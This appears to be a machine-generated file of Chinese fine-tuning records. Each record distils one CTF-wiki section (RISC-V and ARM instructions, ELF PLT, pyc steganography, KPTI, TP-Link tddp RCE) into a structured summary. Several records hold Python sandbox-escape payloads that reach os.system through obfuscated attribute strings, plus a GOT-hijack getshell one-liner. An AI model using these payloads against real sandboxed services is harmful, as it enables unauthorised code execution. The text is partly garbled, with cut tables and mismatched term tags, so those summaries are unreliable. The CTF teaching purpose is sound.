"doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "c371d0927672b8e33fdba7a5", "subcategory": "assembly/risc-v/readme.md", "terms": ["栈", "assembly", "risc-v", "readme.md"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9a52ea6b8935bc937cd1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/risc-v/readme.md` 中的章节「（5）控制流指令（B 型）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/risc-v/readme.md`\n标题：Risc-V\n章节：Risc-V > 0x03 常见指令 > （5）控制流指令（B 型）\n路径分类：assembly / assembly/risc-v/readme.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“（5）控制流指令（B 型）”展开。\n- | 指令 | 含义 | 示例 | 说明 | |--------|--------------------------|-----------------------|---------------------------------| | beq | 相等跳转 | beq x1, x2, label | 若 x1 == x2，跳转到 label | | bne | 不等跳转 | bne x1, x2, label | 若 x1 !\n- 用于实现条件跳转，配合标签使用，跳转偏移为 12 位立即数（±4KB）。\n- = x2，跳转 | | blt | 小于跳转（有符号） | blt x1, x2, label | 若 x1 < x2，跳转 | | bge | 大于等于跳转（有符号） | bge x1, x2, label | 若 x1 >= x2，跳转 | | bltu | 小于跳转（无符号） | bltu x1, x2, label | 无符号小于比较跳转 | | bgeu | 大于等于跳转（无符号） | bgeu x1, x2, label | 无符号大于等于比较跳转 |\n\n关键术语：\n- assembly\n- risc-v\n- readme.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 528, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "（5）控制流指令（B 型）", "heading_path": ["Risc-V", "0x03 常见指令", "（5）控制流指令（B 型）"], "original_id": "docs-6584009b6272d0e9b536", "original_line": 6, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "source_root": "docs", "source_sha256": "472e018416e1d59bdff251bd8eb5b2794368d2cc1cef6ca3623c30c6be927550", "split": "train", "split_group_key": "14f9717db7884463b424a247", "subcategory": "assembly/risc-v/readme.md", "terms": ["assembly", "risc-v", "readme.md"], "title": "Risc-V"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/risc-v/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "assembly", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9a8dd0e15679bf4d6955", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/assembly/arm/readme.md` 中的章节「LDR」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/assembly/arm/readme.md`\n标题：ARM\n章节：ARM > 2. 指令集 > 3.寄存器访问指令 > LDR\n路径分类：assembly / assembly/arm/readme.md\n分块：1/1\n\n核心知识点：\n- 将内存中的数据放入到寄存器中 指令示例： `` LDRH R0，[R1] ；\n- 将存储器地址为R1的半字数据读入寄存器R0，并将R0的高16位清零。\n- 将存储器地址为R1＋8的半字数据读入寄存器R0，并将R0的高16位清零。\n- 将存储器地址为R1＋R2的半字数据读入寄存器R0，并将R0的高16位清零。\n\n关键术语：\n- assembly\n- arm\n- readme.md\n\n代码/命令片段线索：\n- plain: 3 行，首行 `LDRH R0，[R1] ；将存储器地址为R1的半字数据读入寄存器R0，并将R0的高16位清零。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "assembly", "chars": 188, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "LDR", "heading_path": ["ARM", "2. 指令集", "3.寄存器访问指令", "LDR"], "original_id": "docs-0e044b960999e3459453", "original_line": 104, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "assembly/arm/readme.md", "source_root": "docs", "source_sha256": "39d09e2beaa059e00d400c0eee7a6c5ca559941eeb0de8cd4845b772bdceadaf", "split": "train", "split_group_key": "00b00a8341ce61edbeb63008", "subcategory": "assembly/arm/readme.md", "terms": ["assembly", "arm", "readme.md"], "title": "ARM"}, "source_dataset": "docs_distilled_v1", "source_path": "assembly/arm/readme.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9b4c1e6571e21ded7c97", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/encode/computer.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/encode/computer.md`\n标题：计算机相关的编码\n章节：计算机相关的编码 > Base 编码 > 例子\n路径分类：misc / misc/encode/computer.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- 题目描述参见 ctf-challenge中 misc 分类的 base64-stego 目录中的 data.txt 文件。\n- 一大串 Base64 密文，试试补 0 位的数据。\n\n关键术语：\n- misc\n- encode\n- computer.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `输出:`\n- plain: 2 行，首行 `下面是原编辑者的代码，代码的小毛病在于查找隐写字符用`last = line[-3]`写死了，这种写法默认每行尾有一个'\\n',而最后一行并非如此，因此左后一个字符显示错误。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 817, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "heading": "例子", "heading_path": ["计算机相关的编码", "Base 编码", "例子"], "original_id": "docs-bab8f4ae2ba176858bb4", "original_line": 563, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/encode/computer.md", "source_root": "docs", "source_sha256": "baabe4939cf3b76b8c4c33d2e990aedcd12c11970037a1431f7bea48d9711909", "split": "train", "split_group_key": "ca9cbceaade94e72f555726a", "subcategory": "misc/encode/computer.md", "terms": ["misc", "encode", "computer.md"], "title": "计算机相关的编码"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/encode/computer.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-9c0f5e3da1419ca7f0f8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/dynamic-sections.md` 中的章节「Procedure Linkage Table」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/dynamic-sections.md`\n标题：Dynamic Sections\n章节：Dynamic Sections > Procedure Linkage Table\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Procedure Linkage Table”展开。\n- pushl 指令将 GOT 表的第二个表项(got_plus_4 或者4(%ebx)，当前ELF对象的信息)压到栈上，然后给动态链接器一个识别信息。\n- 5. 因此，程序将相应函数在 rel.plt 中的偏移（重定位偏移，reloc_index）压到栈上。\n- 7. 当动态链接器接收到控制权后，他将会进行出栈操作，查看重定位表项，解析出对应的符号的值，然后将 name1 的地址写入到全局偏移表项中，最后将控制权交给目的地址。\n- 所以程序开始执行前，模块间的函数调用都没有进行绑定，而是需要用到时才由动态链接器负责绑定。\n- 在惰性绑定的情况下，总体流程如下图所示，蓝线表示首次执行的流程图，红线表示第二次以后调用的流程图： [图片文件: ./figure/lazy-plt.png] LD_BIND_NOW 环境变量可以改变动态链接器的行为。\n\n关键术语：\n- 栈\n- executable\n- elf\n- structure\n- dynamic-sections.md\n- code:assembly\n\n代码/命令片段线索：\n- assembly: 11 行，首行 `.PLT0: pushl got_plus_4`\n- assembly: 11 行，首行 `.PLT0: pushl 4(%ebx)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 2581, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "Procedure Linkage Table", "heading_path": ["Dynamic Sections", "Procedure Linkage Table"], "original_id": "docs-ab8f6fe7f94fc84b280e", "original_line": 476, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/dynamic-sections.md", "source_root": "docs", "source_sha256": "c293a7a3833b5bc0c2bb5e2fdd32acdf739452a114134eba71693dd5b6a01f8b", "split": "train", "split_group_key": "a1f7cccda1476937bf29f5a6", "subcategory": "executable/elf/structure", "terms": ["栈", "executable", "elf", "structure", "dynamic-sections.md", "code:assembly"], "title": "Dynamic Sections"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/dynamic-sections.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a34beada633990279c28", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/other/pyc.md` 中的章节「File: imgenc.pyc (Python 2.7)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/other/pyc.md`\n标题：pyc文件\n章节：File: imgenc.pyc (Python 2.7)\n路径分类：misc / misc/other/pyc.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“File: imgenc.pyc (Python 2.7)”展开。\n- from scipy.misc import imread, imsave def doit(input_file, output_file, f): Unsupported opcode: STOP_CODE img = imread(input_file, flatten = True) img /= 255 size = img.shape[0]\n\n关键术语：\n- misc\n- other\n- pyc.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 181, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "File: imgenc.pyc (Python 2.7)", "heading_path": ["File: imgenc.pyc (Python 2.7)"], "original_id": "docs-9660739d146232bf0ad2", "original_line": 567, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/other/pyc.md", "source_root": "docs", "source_sha256": "61611db97a5903d35a40e84b0e59cd094a78566b0e2664f48170d094a72dd4c2", "split": "train", "split_group_key": "817176bcb0ebc4ee80776ab3", "subcategory": "misc/other/pyc.md", "terms": ["misc", "other", "pyc.md"], "title": "pyc文件"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/other/pyc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a3ec0436bad828537c98", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/environment.md` 中的章节「For Wayland」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/environment.md`\n标题：简介\n章节：pwn-related tools > 将 Docker 容器接入本地图形界面 > For Wayland\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“For Wayland”展开。\n- `python context.terminal = ['konsole', '-e', 'sh', '-c'] # for KDE context.terminal = ['gnome-terminal', '-e', 'sh', '-c'] # for Gnome ``\n\n关键术语：\n- pwn\n- linux\n- user-mode\n- environment.md\n- code:shell\n- code:python\n\n代码/命令片段线索：\n- shell: 11 行，首行 `$ docker run \\`\n- python: 2 行，首行 `context.terminal = ['konsole', '-e', 'sh', '-c'] # for KDE`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 532, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "For Wayland", "heading_path": ["pwn-related tools", "将 Docker 容器接入本地图形界面", "For Wayland"], "original_id": "docs-137b91d4be79274a22d4", "original_line": 846, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "source_root": "docs", "source_sha256": "b7c106ba08e98d53c01f65a51ffe9d367fabc959eda5db3eb84c7d5a83cc9d8a", "split": "train", "split_group_key": "d7b7e3255f3d8b916340bbe4", "subcategory": "pwn/linux/user-mode", "terms": ["pwn", "linux", "user-mode", "environment.md", "code:shell", "code:python"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/environment.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a5447ecd5bb8f0a1dbc9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/other/pyc.md` 中的章节「例题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/other/pyc.md`\n标题：pyc文件\n章节：WARNING: Decompyle incomplete > Tools > Stegosaurus > 例题\n路径分类：misc / misc/other/pyc.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题”展开。\n- 我们都知道 Python 是一种全平台的解释性语言，全平台其实就是 Python 文件在经过解释器解释之后(或者称为编译)生成的 pyc 文件可以在多个平台下运行，这样同样也可以隐藏源代码。\n- 模块的搜索路径都放在了 sys.path 列表中，如果缺省的 sys.path 中没有含有自己的模块或包的路径，可以动态的加入 (sys.path.apend) 即可。\n- Bugku QAQ 赛题链接如下： ``shell http://ctf.bugku.com/files/447e4b626f2d2481809b8690613c1613/QAQ http://ctf.bugku.com/files/5c02892cd05a9dcd1c5a34ef22dd9c5e/cipher.txt ` 首先拿到这道题，用 010Editor 乍一眼看过去，我们可以看到一些特征信息： [图片: feature;\n- 文件: ./figure/feature.png] 可以判断这是个跟 python 有关的东西，通过查阅相关资料可以判断这是个 python 经编译过后的 pyc 文件。\n- 其实， Python 是完全面向对象的语言， Python 文件在经过解释器解释后生成字节码对象 PyCodeObject ， pyc 文件可以理解为是 PyCodeObject 对象的持久化保存方式。\n\n关键术语：\n- misc\n- other\n- pyc.md\n- code:shell\n- code:python\n\n代码/命令片段线索：\n- shell: 2 行，首行 `http://ctf.bugku.com/files/447e4b626f2d2481809b8690613c1613/QAQ`\n- shell: 1 行，首行 `mkdir test && cd test/`\n- python: 3 行，首行 `def print_test():`\n- shell: 1 行，首行 `python3 test.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 3453, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "heading": "例题", "heading_path": ["WARNING: Decompyle incomplete", "Tools", "Stegosaurus", "例题"], "original_id": "docs-7c8f24631f2ebb2079f2", "original_line": 569, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/other/pyc.md", "source_root": "docs", "source_sha256": "61611db97a5903d35a40e84b0e59cd094a78566b0e2664f48170d094a72dd4c2", "split": "train", "split_group_key": "af0d9db82eb0d60b27cfa0fd", "subcategory": "misc/other/pyc.md", "terms": ["misc", "other", "pyc.md", "code:shell", "code:python"], "title": "pyc文件"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/other/pyc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a5ce47a632c1d014754b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/sandbox/python/python-sandbox-escape.md` 中的章节「劫持 got 表 getshell」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/sandbox/python/python-sandbox-escape.md`\n标题：Python 沙盒\n章节：Python 沙盒 > 例子 > 劫持 got 表 getshell\n路径分类：pwn / pwn/sandbox/python\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“劫持 got 表 getshell”展开。\n- ```py (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()40)(().__class__.__bases__[0].__subclasses__()40,().__class__.__bases__[0].__subclasses__()40)\n- (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()40)(().__class__.__bases__[0].__subclasses__()40,().__class__.__bases__[0].__subclasses__()40)\n\n关键术语：\n- pwn\n- sandbox\n- python\n- python-sandbox-escape.md\n- code:py\n\n代码/命令片段线索：\n- py: 2 行，首行 `(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__(...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 619, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "劫持 got 表 getshell", "heading_path": ["Python 沙盒", "例子", "劫持 got 表 getshell"], "original_id": "docs-9e4e3104e10d326aff1a", "original_line": 1391, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/sandbox/python/python-sandbox-escape.md", "source_root": "docs", "source_sha256": "570570f0a47eb77c249b26bca6c4b3c05b9a3156bea628aa4abacc505aa59dec", "split": "train", "split_group_key": "c07d09db48fdaf738a0fcdb5", "subcategory": "pwn/sandbox/python", "terms": ["pwn", "sandbox", "python", "python-sandbox-escape.md", "code:py"], "title": "Python 沙盒"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/sandbox/python/python-sandbox-escape.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "ics", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-a8d9f09450fd122cbd87", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/ics/ctfs.md` 中的章节「题目示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/ics/ctfs.md`\n标题：ICS_CTF 竞赛\n章节：ICS_CTF 竞赛 > 逆向分析（Reverse） > 题目示例\n路径分类：ics / ics/ctfs.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目示例”展开。\n- 题目名称：tplink_tddp 从题目描述中，我们可以得知我们的关键分析对象时 tddp，然后题目附件是一个固件，利用 binwalk 解析，在 usr/bin 中找到 tddp，然后通过谷歌搜索 tddp 关键词可以发现有在 TP-Link 路由器中有该协议的漏洞，基于 UDP 运行于 1040 端口，发送数据的第 2 个字节（采用 tddp v1 协议）为 0x31（CMD_FTEST_CONFIG）时，会导致远程代码执行。\n- 将 tddp 拖入 IDA 搜索字符串 CMD_FTEST_CONFIG 可以找到会执行 sub_A580 函数 [图片: tddp;\n- 文件: ./figure/tddp_1.png] 至此已经可以提交 flag，但也可以继续进行分析，通过 qemu 搭建 arm 环境运行文件系统进行动态调试。\n- 参考链接：https://paper.seebug.org/879/ 。\n\n关键术语：\n- RCE\n- 漏洞利用\n- ics\n- ctfs.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "ics", "chars": 411, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "misc", "heading": "题目示例", "heading_path": ["ICS_CTF 竞赛", "逆向分析（Reverse）", "题目示例"], "original_id": "docs-d0af5eb4b5b9b5ecd435", "original_line": 507, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "source_root": "docs", "source_sha256": "9db703e491384f8fdf09bd064abbc3e4dd8b18009267043bc9c04a4ff4baaa60", "split": "train", "split_group_key": "8b7bbff84856ef1302babfe4", "subcategory": "ics/ctfs.md", "terms": ["RCE", "漏洞利用", "ics", "ctfs.md"], "title": "ICS_CTF 竞赛"}, "source_dataset": "docs_distilled_v1", "source_path": "ics/ctfs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-aedb335b9fba1ed4d2eb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/misc/traffic/fix.md` 中的章节「Packet Block(数据块)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/misc/traffic/fix.md`\n标题：PCAP 文件修复\n章节：PCAP 文件修复 > 常见块 > Packet Block(数据块)\n路径分类：misc / misc/traffic/fix.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Packet Block(数据块)”展开。\n- ``sh 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Interface ID | Drops Count | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Timestamp (High...\n\n关键术语：\n- ROP/JOP\n- misc\n- traffic\n- fix.md\n- code:sh\n\n代码/命令片段线索：\n- sh: 18 行，首行 `0 1 2 3`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "misc", "chars": 826, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "Packet Block(数据块)", "heading_path": ["PCAP 文件修复", "常见块", "Packet Block(数据块)"], "original_id": "docs-07ad2718c85f5732585e", "original_line": 599, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/fix.md", "source_root": "docs", "source_sha256": "7738c6ca7a537110aae2b0183bb3420088531e5950042c189fc351bd22f3dc42", "split": "train", "split_group_key": "68f03499eafae9d3a28108a7", "subcategory": "misc/traffic/fix.md", "terms": ["ROP/JOP", "misc", "traffic", "fix.md", "code:sh"], "title": "PCAP 文件修复"}, "source_dataset": "docs_distilled_v1", "source_path": "misc/traffic/fix.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-af5e49ed9d0f70c7521c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/sandbox/python/python-sandbox-escape.md` 中的章节「寻找 __import__ 的间接引用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/sandbox/python/python-sandbox-escape.md`\n标题：Python 沙盒\n章节：Python 沙盒 > 例子 > 寻找 __import__ 的间接引用\n路径分类：pwn / pwn/sandbox/python\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“寻找 __import__ 的间接引用”展开。\n- 在不断的 dir 过程中，发现 __closure__ 这个 object 保存了参数，可以引用原生的 __import__ ``py print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home') ``\n\n关键术语：\n- pwn\n- sandbox\n- python\n- python-sandbox-escape.md\n- code:py\n\n代码/命令片段线索：\n- py: 1 行，首行 `print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s ho...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 195, "chunk_count": 1, "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "heading": "寻找 __import__ 的间接引用", "heading_path": ["Python 沙盒", "例子", "寻找 __import__ 的间接引用"], "original_id": "docs-fcfcb5d5c755946ebbfe", "original_line": 1392, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/sandbox/python/python-sandbox-escape.md", "source_root": "docs", "source_sha256": "570570f0a47eb77c249b26bca6c4b3c05b9a3156bea628aa4abacc505aa59dec", "split": "train", "split_group_key": "bd165b53175acbfa70d05c97", "subcategory": "pwn/sandbox/python", "terms": ["pwn", "sandbox", "python", "python-sandbox-escape.md", "code:py"], "title": "Python 沙盒"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/sandbox/python/python-sandbox-escape.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b0609adb00a073847312", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md` 中的章节「iret」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/defense/isolation/user-kernel/kpti.md`\n标题：KPTI - Kernel Page Table Isolation\n章节：KPTI - Kernel Page Table Isolation > Attack KPTI > SWITCH_TO_USER_CR3_STACK > iret\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“iret”展开。\n- We can do future final exit work right here. / STACKLEAK_ERASE_NOCLOBBER SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi / Restore RDI. */ popq %rdi SWAPGS INTERRUPT_RETURN ` 可以看到，通过伪造如下的栈，然后跳转到 movq %rsp, %rdi，我们就可以同时切换页表和返回至用户态。\n- ``assembly SYM_INNER_LABEL(swapgs_restore_regs_and_return_to_usermode, SYM_L_GLOBAL) #ifdef CONFIG_DEBUG_ENTRY / Assert that pt_regs indicates user mode. / testb $3, CS(%rsp) jnz 1f ud2 1: #endif POP_REGS pop_rdi=0 / The stack is now user RDI, orig_ax, RIP,...\n- ` fake rax fake rdi RIP CS EFLAGS RSP SS ``\n- All regs except RDI are live.\n\n关键术语：\n- 栈\n- pwn\n- linux\n- kernel-mode\n- defense\n- code:assembly\n\n代码/命令片段线索：\n- assembly: 34 行，首行 